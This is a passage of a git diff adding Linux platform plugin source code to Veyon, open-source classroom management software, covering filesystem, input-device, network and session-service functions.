+private: + int m_screenSaverTimeout; + int m_screenSaverPreferBlanking; + bool m_dpmsEnabled; + unsigned short m_dpmsStandbyTimeout; + unsigned short m_dpmsSuspendTimeout; + unsigned short m_dpmsOffTimeout; + +}; + +#endif // LINUX_CORE_FUNCTIONS_H diff --git a/plugins/platform/linux/LinuxDesktopIntegration.h b/plugins/platform/linux/LinuxDesktopIntegration.h new file mode 100644 index 0000000..49d160e --- /dev/null +++ b/plugins/platform/linux/LinuxDesktopIntegration.h @@ -0,0 +1,73 @@ +/* + * LinuxDesktopIntegration.h - declaration of LinuxDesktopIntegration class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_DESKTOP_INTEGRATION +#define LINUX_DESKTOP_INTEGRATION + +class LinuxDesktopIntegration +{ +public: + class KDE { + public: + enum ShutdownConfirm { + ShutdownConfirmDefault = -1, + ShutdownConfirmNo = 0, + ShutdownConfirmYes = 1 + }; + enum ShutdownMode { + ShutdownModeDefault = -1, + ShutdownModeSchedule = 0, + ShutdownModeTryNow = 1, + ShutdownModeForceNow = 2, + ShutdownModeInteractive = 3 + }; + enum ShutdownType { + ShutdownTypeDefault = -1, + ShutdownTypeNone = 0, + ShutdownTypeReboot = 1, + ShutdownTypeHalt = 2, + ShutdownTypeLogout = 3 + }; + }; + + class Gnome { + public: + typedef enum { + GSM_MANAGER_LOGOUT_MODE_NORMAL = 0, + GSM_MANAGER_LOGOUT_MODE_NO_CONFIRMATION, + GSM_MANAGER_LOGOUT_MODE_FORCE + } GsmManagerLogoutMode; + }; + + class Mate { + public: + enum { + GSM_LOGOUT_MODE_NORMAL = 0, + GSM_LOGOUT_MODE_NO_CONFIRMATION, + GSM_LOGOUT_MODE_FORCE + }; + }; +}; + +#endif // LINUX_DESKTOP_INTEGRATION diff --git a/plugins/platform/linux/LinuxFilesystemFunctions.cpp b/plugins/platform/linux/LinuxFilesystemFunctions.cpp new file mode 100644 index 0000000..f18595d --- /dev/null +++ b/plugins/platform/linux/LinuxFilesystemFunctions.cpp @@ -0,0 +1,111 @@ +/* + * LinuxFilesystemFunctions.cpp - implementation of LinuxFilesystemFunctions class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include +#include +#include + +#include "LinuxFilesystemFunctions.h" + + +QString LinuxFilesystemFunctions::personalAppDataPath() const +{ + return QDir::homePath() + QDir::separator() + QStringLiteral(".veyon"); +} + + + +QString LinuxFilesystemFunctions::globalAppDataPath() const +{ + return QStringLiteral( "/etc/veyon" ); +} + + + +QString LinuxFilesystemFunctions::globalTempPath() const +{ + return QStringLiteral( "/tmp" ); + +} + + + +QString LinuxFilesystemFunctions::fileOwnerGroup( const QString& filePath ) +{ + return QFileInfo( filePath ).group(); +} + + + +bool LinuxFilesystemFunctions::setFileOwnerGroup( const QString& filePath, const QString& ownerGroup ) +{ + struct stat statBuffer; + if( stat( filePath.toUtf8().constData(), &statBuffer ) != 0 ) + { + qCritical() << Q_FUNC_INFO << "failed to stat file" << filePath; + return false; + } + + const auto grp = getgrnam( ownerGroup.toUtf8().constData() ); + if( grp == nullptr ) + { + qCritical() << Q_FUNC_INFO << "failed to get gid for" << ownerGroup; + return false; + } + + const auto gid = grp->gr_gid; + + if( chown( filePath.toUtf8().constData(), statBuffer.st_uid, gid ) != 0 ) // Flawfinder:ignore + { + qCritical() << Q_FUNC_INFO << "failed to change owner group of file" << filePath; + return false; + } + + return true; +} + + + +bool LinuxFilesystemFunctions::setFileOwnerGroupPermissions( const QString& filePath, QFile::Permissions permissions ) +{ + QFile file( filePath ); + + auto currentPermissions = file.permissions(); + + for( auto permissionFlag : { QFile::ReadGroup, QFile::WriteGroup, QFile::ExeGroup } ) + { + if( permissions & permissionFlag ) + { + currentPermissions |= permissionFlag; + } + else + { + currentPermissions &= ~permissionFlag; + } + } + + return QFile( filePath ).setPermissions( permissions ); +} diff --git a/plugins/platform/linux/LinuxFilesystemFunctions.h b/plugins/platform/linux/LinuxFilesystemFunctions.h new file mode 100644 index 0000000..af3de75 --- /dev/null +++ b/plugins/platform/linux/LinuxFilesystemFunctions.h @@ -0,0 +1,45 @@ +/* + * LinuxFilesystemFunctions.h - declaration of LinuxFilesystemFunctions class + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_FILESYSTEM_FUNCTIONS_H +#define LINUX_FILESYSTEM_FUNCTIONS_H + +#include "PlatformFilesystemFunctions.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxFilesystemFunctions : public PlatformFilesystemFunctions +{ +public: + QString personalAppDataPath() const override; + QString globalAppDataPath() const override; + QString globalTempPath() const override; + + QString fileOwnerGroup( const QString& filePath ) override; + bool setFileOwnerGroup( const QString& filePath, const QString& ownerGroup ) override; + bool setFileOwnerGroupPermissions( const QString& filePath, QFile::Permissions permissions ) override; + +}; + +#endif // LINUX_FILESYSTEM_FUNCTIONS_H diff --git a/plugins/platform/linux/LinuxInputDeviceFunctions.cpp b/plugins/platform/linux/LinuxInputDeviceFunctions.cpp new file mode 100644 index 0000000..8cc5c2a --- /dev/null +++ b/plugins/platform/linux/LinuxInputDeviceFunctions.cpp @@ -0,0 +1,137 @@ +/* + * LinuxInputDeviceFunctions.cpp - implementation of LinuxInputDeviceFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "PlatformServiceFunctions.h" +#include "LinuxInputDeviceFunctions.h" +#include "LinuxKeyboardShortcutTrapper.h" + +#include + + +LinuxInputDeviceFunctions::LinuxInputDeviceFunctions() : + m_inputDevicesDisabled( false ), + m_origKeyTable( nullptr ), + m_keyCodeMin( 0 ), + m_keyCodeMax( 0 ), + m_keyCodeCount( 0 ), + m_keySymsPerKeyCode( 0 ) +{ +} + + + +LinuxInputDeviceFunctions::~LinuxInputDeviceFunctions() +{ + if( m_inputDevicesDisabled ) + { + enableInputDevices(); + } +} + + + +void LinuxInputDeviceFunctions::enableInputDevices() +{ + if( m_inputDevicesDisabled ) + { + restoreKeyMapTable(); + + m_inputDevicesDisabled = false; + } +} + + + +void LinuxInputDeviceFunctions::disableInputDevices() +{ + if( m_inputDevicesDisabled == false ) + { + setEmptyKeyMapTable(); + + m_inputDevicesDisabled = true; + } +} + + + +KeyboardShortcutTrapper* LinuxInputDeviceFunctions::createKeyboardShortcutTrapper( QObject* parent ) +{ + return new LinuxKeyboardShortcutTrapper( parent ); +} + + + +bool LinuxInputDeviceFunctions::configureSoftwareSAS( bool enabled ) +{ + Q_UNUSED(enabled); + + return true; +} + + + +void LinuxInputDeviceFunctions::setEmptyKeyMapTable() +{ + if( m_origKeyTable ) + { + XFree( m_origKeyTable ); + } + + Display* display = XOpenDisplay( nullptr ); + XDisplayKeycodes( display, &m_keyCodeMin, &m_keyCodeMax ); + m_keyCodeCount = m_keyCodeMax - m_keyCodeMin; + + m_origKeyTable = XGetKeyboardMapping( display, static_cast( m_keyCodeMin ), + m_keyCodeCount, &m_keySymsPerKeyCode ); + + KeySym* newKeyTable = XGetKeyboardMapping( display, static_cast( m_keyCodeMin ), + m_keyCodeCount, &m_keySymsPerKeyCode ); + + for( int i = 0; i < m_keyCodeCount * m_keySymsPerKeyCode; i++ ) + { + newKeyTable[i] = 0; + } + + XChangeKeyboardMapping( display, m_keyCodeMin, m_keySymsPerKeyCode, + newKeyTable, m_keyCodeCount ); + XFlush( display ); + XFree( newKeyTable ); + XCloseDisplay( display ); +} + + + +void LinuxInputDeviceFunctions::restoreKeyMapTable() +{ + Display* display = XOpenDisplay( nullptr ); + + XChangeKeyboardMapping( display, m_keyCodeMin, m_keySymsPerKeyCode, + static_cast( m_origKeyTable ), m_keyCodeCount ); + + XFlush( display ); + XCloseDisplay( display ); + + XFree( m_origKeyTable ); + m_origKeyTable = nullptr; +} diff --git a/plugins/platform/linux/LinuxInputDeviceFunctions.h b/plugins/platform/linux/LinuxInputDeviceFunctions.h new file mode 100644 index 0000000..0e0af69 --- /dev/null +++ b/plugins/platform/linux/LinuxInputDeviceFunctions.h @@ -0,0 +1,58 @@ +/* + * LinuxInputDeviceFunctions.h - declaration of LinuxInputDeviceFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_INPUT_DEVICE_FUNCTIONS_H +#define LINUX_INPUT_DEVICE_FUNCTIONS_H + +#include "PlatformInputDeviceFunctions.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxInputDeviceFunctions : public PlatformInputDeviceFunctions +{ +public: + LinuxInputDeviceFunctions(); + ~LinuxInputDeviceFunctions(); + + void enableInputDevices() override; + void disableInputDevices() override; + + KeyboardShortcutTrapper* createKeyboardShortcutTrapper( QObject* parent ) override; + + bool configureSoftwareSAS( bool enabled ) override; + +private: + void setEmptyKeyMapTable(); + void restoreKeyMapTable(); + + bool m_inputDevicesDisabled; + void* m_origKeyTable; + int m_keyCodeMin; + int m_keyCodeMax; + int m_keyCodeCount; + int m_keySymsPerKeyCode; + +}; + +#endif // LINUX_INPUT_DEVICE_FUNCTIONS_H diff --git a/plugins/platform/linux/LinuxKeyboardShortcutTrapper.h b/plugins/platform/linux/LinuxKeyboardShortcutTrapper.h new file mode 100644 index 0000000..de669f6 --- /dev/null +++ b/plugins/platform/linux/LinuxKeyboardShortcutTrapper.h @@ -0,0 +1,50 @@ +/* + * LinuxKeyboardShortcutTrapper.h - dummy KeyboardShortcutTrapper implementation + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_KEYBOARD_SHORTCUT_TRAPPER_H +#define LINUX_KEYBOARD_SHORTCUT_TRAPPER_H + +#include "KeyboardShortcutTrapper.h" + +class LinuxKeyboardShortcutTrapper : public KeyboardShortcutTrapper +{ + Q_OBJECT +public: + LinuxKeyboardShortcutTrapper( QObject* parent = nullptr ) : + KeyboardShortcutTrapper( parent ) + { + } + + ~LinuxKeyboardShortcutTrapper() override + { + } + + void setEnabled( bool on ) override + { + Q_UNUSED(on); + } + +} ; + +#endif diff --git a/plugins/platform/linux/LinuxNetworkFunctions.cpp b/plugins/platform/linux/LinuxNetworkFunctions.cpp new file mode 100644 index 0000000..3c7464b --- /dev/null +++ b/plugins/platform/linux/LinuxNetworkFunctions.cpp @@ -0,0 +1,89 @@ +/* + * LinuxNetworkFunctions.cpp - implementation of LinuxNetworkFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include + +#include "LinuxNetworkFunctions.h" + +bool LinuxNetworkFunctions::ping( const QString& hostAddress ) +{ + QProcess pingProcess; + pingProcess.start( QStringLiteral("ping"), { "-W", "1", "-c", QString::number( PingTimeout / 1000 ), hostAddress } ); + pingProcess.waitForFinished( PingProcessTimeout ); + + return pingProcess.exitCode() == 0; +} + + + +bool LinuxNetworkFunctions::configureFirewallException( const QString& applicationPath, const QString& description, bool enabled ) +{ + Q_UNUSED(applicationPath) + Q_UNUSED(description) + Q_UNUSED(enabled) + + return true; +} + + + +bool LinuxNetworkFunctions::configureSocketKeepalive( int socket, bool enabled, int idleTime, int interval, int probes ) +{ + int optval; + socklen_t optlen = sizeof(optval); + + // Try to set the option active + optval = enabled ? 1 : 0; + if( setsockopt( socket, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen ) < 0 ) + { + qWarning() << Q_FUNC_INFO << "could not set SO_KEEPALIVE"; + return false; + } + + optval = std::max( 1, idleTime / 1000 ); + if( setsockopt( socket, IPPROTO_TCP, TCP_KEEPIDLE, &optval, optlen ) < 0 ) + { + qWarning() << Q_FUNC_INFO << "could not set TCP_KEEPIDLE"; + return false; + } + + optval = std::max( 1, interval / 1000 ); + if( setsockopt( socket, IPPROTO_TCP, TCP_KEEPINTVL, &optval, optlen ) < 0 ) + { + qWarning() << Q_FUNC_INFO << "could not set TCP_KEEPINTVL"; + return false; + } + + optval = probes; + if( setsockopt( socket, IPPROTO_TCP, TCP_KEEPCNT, &optval, optlen ) < 0 ) + { + qWarning() << Q_FUNC_INFO << "could not set TCP_KEEPCNT"; + return false; + } + + return true; +} diff --git a/plugins/platform/linux/LinuxNetworkFunctions.h b/plugins/platform/linux/LinuxNetworkFunctions.h new file mode 100644 index 0000000..4ae8696 --- /dev/null +++ b/plugins/platform/linux/LinuxNetworkFunctions.h @@ -0,0 +1,42 @@ +/* + * LinuxNetworkFunctions.h - declaration of LinuxNetworkFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_NETWORK_FUNCTIONS_H +#define LINUX_NETWORK_FUNCTIONS_H + +#include "PlatformNetworkFunctions.h" + +// clazy:excludeall=copyable-polymorphic + +class LinuxNetworkFunctions : public PlatformNetworkFunctions +{ +public: + bool ping( const QString& hostAddress ) override; + bool configureFirewallException( const QString& applicationPath, const QString& description, bool enabled ) override; + + bool configureSocketKeepalive( int socket, bool enabled, int idleTime, int interval, int probes ) override; + +}; + +#endif // LINUX_NETWORK_FUNCTIONS_H diff --git a/plugins/platform/linux/LinuxPlatformPlugin.cpp b/plugins/platform/linux/LinuxPlatformPlugin.cpp new file mode 100644 index 0000000..f68be41 --- /dev/null +++ b/plugins/platform/linux/LinuxPlatformPlugin.cpp @@ -0,0 +1,45 @@ +/* + * LinuxPlatformPlugin.cpp - implementation of LinuxPlatformPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "LinuxPlatformPlugin.h" + + +LinuxPlatformPlugin::LinuxPlatformPlugin( QObject* parent ) : + QObject( parent ), + m_linuxCoreFunctions(), + m_linuxFilesystemFunctions(), + m_linuxInputDeviceFunctions(), + m_linuxNetworkFunctions(), + m_linuxServiceFunctions(), + m_linuxUserFunctions() +{ + // make sure to load global config from default config dirs independent of environment variables + qunsetenv( "XDG_CONFIG_DIRS" ); +} + + + +LinuxPlatformPlugin::~LinuxPlatformPlugin() +{ +} diff --git a/plugins/platform/linux/LinuxPlatformPlugin.h b/plugins/platform/linux/LinuxPlatformPlugin.h new file mode 100644 index 0000000..7c9134d --- /dev/null +++ b/plugins/platform/linux/LinuxPlatformPlugin.h @@ -0,0 +1,121 @@ +/* + * LinuxPlatformPlugin.h - declaration of LinuxPlatformPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LINUX_PLATFORM_PLUGIN_H +#define LINUX_PLATFORM_PLUGIN_H + +#include "PluginInterface.h" +#include "PlatformPluginInterface.h" +#include "LinuxCoreFunctions.h" +#include "LinuxFilesystemFunctions.h" +#include "LinuxInputDeviceFunctions.h" +#include "LinuxNetworkFunctions.h" +#include "LinuxServiceFunctions.h" +#include "LinuxUserFunctions.h" + +class LinuxPlatformPlugin : public QObject, PlatformPluginInterface, PluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.LinuxPlatform") + Q_INTERFACES(PluginInterface PlatformPluginInterface) +public: + LinuxPlatformPlugin( QObject* parent = nullptr ); + ~LinuxPlatformPlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("63928a8a-4c51-4bfd-888e-9e13c6f3907a"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral( "LinuxPlatformPlugin" ); + } + + QString description() const override + { + return tr( "Plugin implementing abstract functions for the Linux platform" ); + } + + QString vendor() const override + { + return QStringLiteral( "Veyon Community" ); + } + + QString copyright() const override + { + return QStringLiteral( "Tobias Junghans" ); + } + + Plugin::Flags flags() const override + { + return Plugin::ProvidesDefaultImplementation; + } + + PlatformCoreFunctions& coreFunctions() override + { + return m_linuxCoreFunctions; + } + + PlatformFilesystemFunctions& filesystemFunctions() override + { + return m_linuxFilesystemFunctions; + } + + PlatformInputDeviceFunctions& inputDeviceFunctions() override + { + return m_linuxInputDeviceFunctions; + } + + PlatformNetworkFunctions& networkFunctions() override + { + return m_linuxNetworkFunctions; + } + + PlatformServiceFunctions& serviceFunctions() override + { + return m_linuxServiceFunctions; + } + + PlatformUserFunctions& userFunctions() override + { + return m_linuxUserFunctions; + } + +private: + LinuxCoreFunctions m_linuxCoreFunctions; + LinuxFilesystemFunctions m_linuxFilesystemFunctions; + LinuxInputDeviceFunctions m_linuxInputDeviceFunctions; + LinuxNetworkFunctions m_linuxNetworkFunctions; + LinuxServiceFunctions m_linuxServiceFunctions; + LinuxUserFunctions m_linuxUserFunctions; + +}; + +#endif // LINUX_PLATFORM_PLUGIN_H diff --git a/plugins/platform/linux/LinuxServiceCore.cpp b/plugins/platform/linux/LinuxServiceCore.cpp new file mode 100644 index 0000000..a945f39 --- /dev/null +++ b/plugins/platform/linux/LinuxServiceCore.cpp @@ -0,0 +1,379 @@ +/* + * LinuxServiceFunctions.cpp - implementation of LinuxServiceFunctions class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "Filesystem.h" +#include "LinuxCoreFunctions.h" +#include "LinuxServiceCore.h" +#include "VeyonConfiguration.h" + + +LinuxServiceCore::LinuxServiceCore( QObject* parent ) : + QObject( parent ), + m_loginManager( LinuxCoreFunctions::systemdLoginManager() ), + m_multiSession( VeyonCore::config().isMultiSessionServiceEnabled() ) +{ + connectToLoginManager(); +} + + + +LinuxServiceCore::~LinuxServiceCore() +{ + stopAllServers(); +} + + + +void LinuxServiceCore::run() +{ + const auto sessions = listSessions(); + + for( const auto& s : sessions ) + { + startServer( s, QDBusObjectPath( s ) ); + } + + QEventLoop eventLoop; + eventLoop.exec(); +} + + + +void LinuxServiceCore::connectToLoginManager() +{ + bool success = true; + + const auto service = m_loginManager->service(); + const auto path = m_loginManager->path(); + const auto interface = m_loginManager->interface(); + + success &= QDBusConnection::systemBus().connect( service, path, interface, QStringLiteral("SessionNew"), + this, SLOT(startServer(QString,QDBusObjectPath)) ); + + success &= QDBusConnection::systemBus().connect( service, path, interface, QStringLiteral("SessionRemoved"), + this, SLOT(stopServer(QString,QDBusObjectPath)) ); + + if( success == false ) + { + qWarning() << Q_FUNC_INFO << "could not connect to login manager! retrying in" << LoginManagerReconnectInterval << "msecs"; + QTimer::singleShot( LoginManagerReconnectInterval, this, &LinuxServiceCore::connectToLoginManager ); + } + else + { + qDebug( "LinuxServiceCore: connected to login manager" ); + } +} + + + +void LinuxServiceCore::startServer( const QString& login1SessionId, const QDBusObjectPath& sessionObjectPath ) +{ + const auto sessionPath = sessionObjectPath.path(); + + const auto sessionType = getSessionType( sessionPath ); + + if( sessionType == QStringLiteral("wayland") ) + { + qCritical() << "Can't start Veyon Server in Wayland sessions as this is not yet supported. Please switch to X11-based sessions!"; + return; + } + + // do not start server for non-graphical sessions + if( sessionType != QStringLiteral("x11") ) + { + return; + } + + const auto sessionLeader = getSessionLeaderPid( sessionPath ); + if( sessionLeader < 0 ) + { + qCritical() << "No leader available for session" << sessionPath; + return; + } + + auto sessionEnvironment = getSessionEnvironment( sessionLeader ); + + if( sessionEnvironment.isEmpty() ) + { + qWarning() << "Environment for session" << sessionPath << "not yet available - retrying in" + << SessionEnvironmentProbingInterval << "msecs"; + QTimer::singleShot( SessionEnvironmentProbingInterval, this, + [=]() { startServer( login1SessionId, sessionObjectPath ); } ); + return; + } + + if( m_multiSession == false && m_serverProcesses.isEmpty() == false ) + { + // make sure no other server is still running + stopAllServers(); + } + + const auto sessionUptime = getSessionUptimeSeconds( sessionPath ); + + if( sessionUptime >= 0 && sessionUptime < SessionUptimeSecondsMinimum ) + { + qDebug() << "Session" << sessionPath << "too young - retrying in" << SessionUptimeProbingInterval << "msecs"; + QTimer::singleShot( SessionUptimeProbingInterval, this, [=]() { startServer( login1SessionId, sessionObjectPath ); } ); + return; + } + + const auto seat = getSessionSeat( sessionPath ); + const auto display = getSessionDisplay( sessionPath ); + + qInfo() << "Starting server for new session" << sessionPath + << "with display" << display + << "at seat" << seat.path; + + if( m_multiSession ) + { + const auto sessionId = openSession( QStringList( { sessionPath, display, seat.path } ) ); + sessionEnvironment.insert( VeyonCore::sessionIdEnvironmentVariable(), QString::number( sessionId ) ); + } + + auto process = new QProcess( this ); + process->setProcessEnvironment( sessionEnvironment ); + process->start( VeyonCore::filesystem().serverFilePath() ); + + m_serverProcesses[sessionPath] = process; +} + + + +void LinuxServiceCore::stopServer( const QString& login1SessionId, const QDBusObjectPath& sessionObjectPath ) +{ + Q_UNUSED( login1SessionId ); + + const auto sessionPath = sessionObjectPath.path(); + + if( m_serverProcesses.contains( sessionPath ) ) + { + stopServer( sessionPath ); + } +} + + + +void LinuxServiceCore::stopServer( const QString& sessionPath ) +{ + qInfo() << "Stopping server for removed session" << sessionPath; + + auto process = m_serverProcesses[sessionPath]; + process->terminate(); + + QElapsedTimer serverStopTimer; + serverStopTimer.start(); + + while( process->state() != QProcess::NotRunning ) + { + if( serverStopTimer.elapsed() >= ServerTerminateTimeout ) + { + qWarning() << "Server for session" << sessionPath << "still running - killing now"; + process->kill(); + QThread::msleep( ServerKillDelayTime ); + break; + } + + QThread::msleep( ServerStopSleepInterval ); + } + + if( m_multiSession ) + { + closeSession( process->processEnvironment().value( VeyonCore::sessionIdEnvironmentVariable() ).toInt() ); + } + + delete process; + m_serverProcesses.remove( sessionPath ); +} + + + +void LinuxServiceCore::stopAllServers() +{ + while( m_serverProcesses.isEmpty() == false ) + { + stopServer( m_serverProcesses.firstKey() ); + } +} + + + +QStringList LinuxServiceCore::listSessions() +{ + QStringList sessions; + + const QDBusReply reply = m_loginManager->call( QStringLiteral("ListSessions") ); + + if( reply.isValid() ) + { + const auto data = reply.value(); + + data.beginArray(); + while( data.atEnd() == false ) + { + LoginDBusSession session; + + data.beginStructure(); + data >> session.id >> session.uid >> session.name >> session.seatId >> session.path; + data.endStructure(); + + sessions.append( session.path.path() ); + } + return sessions; + } + else + { + qCritical() << Q_FUNC_INFO << "Could not query sessions:" << reply.error().message(); + } + + return sessions; +} + + + +QVariant LinuxServiceCore::getSessionProperty( const QString& session, const QString& property ) +{ + QDBusInterface loginManager( QStringLiteral("org.freedesktop.login1"), + session, + QStringLiteral("org.freedesktop.DBus.Properties"), + QDBusConnection::systemBus() ); + + const QDBusReply reply = loginManager.call( QStringLiteral("Get"), + QStringLiteral("org.freedesktop.login1.Session"), + property ); + + if( reply.isValid() == false ) + { + qCritical() << "Could not query session property" << property << reply.error().message(); + return QVariant(); + } + + return reply.value().variant(); +} + + + +int LinuxServiceCore::getSessionLeaderPid( const QString& session ) +{ + const auto leader = getSessionProperty( session, QStringLiteral("Leader") ); + + if( leader.isNull() ) + { + return -1; + } + + return leader.toInt(); +} + + + +qint64 LinuxServiceCore::getSessionUptimeSeconds( const QString& session ) +{ + const auto timestamp = getSessionProperty( session, QStringLiteral("Timestamp") ); + + if( timestamp.isNull() ) + { + return -1; + } + + return QDateTime::currentMSecsSinceEpoch() / 1000 - static_cast( timestamp.toLongLong() / ( 1000 * 1000 ) ); +} + + + +QString LinuxServiceCore::getSessionType( const QString& session ) +{ + return getSessionProperty( session, QStringLiteral("Type") ).toString(); +} + + + +QString LinuxServiceCore::getSessionDisplay( const QString& session ) +{ + return getSessionProperty( session, QStringLiteral("Display") ).toString(); +} + + + +QString LinuxServiceCore::getSessionId( const QString& session ) +{ + return getSessionProperty( session, QStringLiteral("Id") ).toString(); +} + + + +LinuxServiceCore::LoginDBusSessionSeat LinuxServiceCore::getSessionSeat( const QString& session ) +{ + const auto seatArgument = getSessionProperty( session, QStringLiteral("Seat") ).value(); + + LoginDBusSessionSeat seat; + seatArgument.beginStructure(); + seatArgument >> seat.id; + seatArgument >> seat.path; + seatArgument.endStructure(); + + return seat; +} + + + +QProcessEnvironment 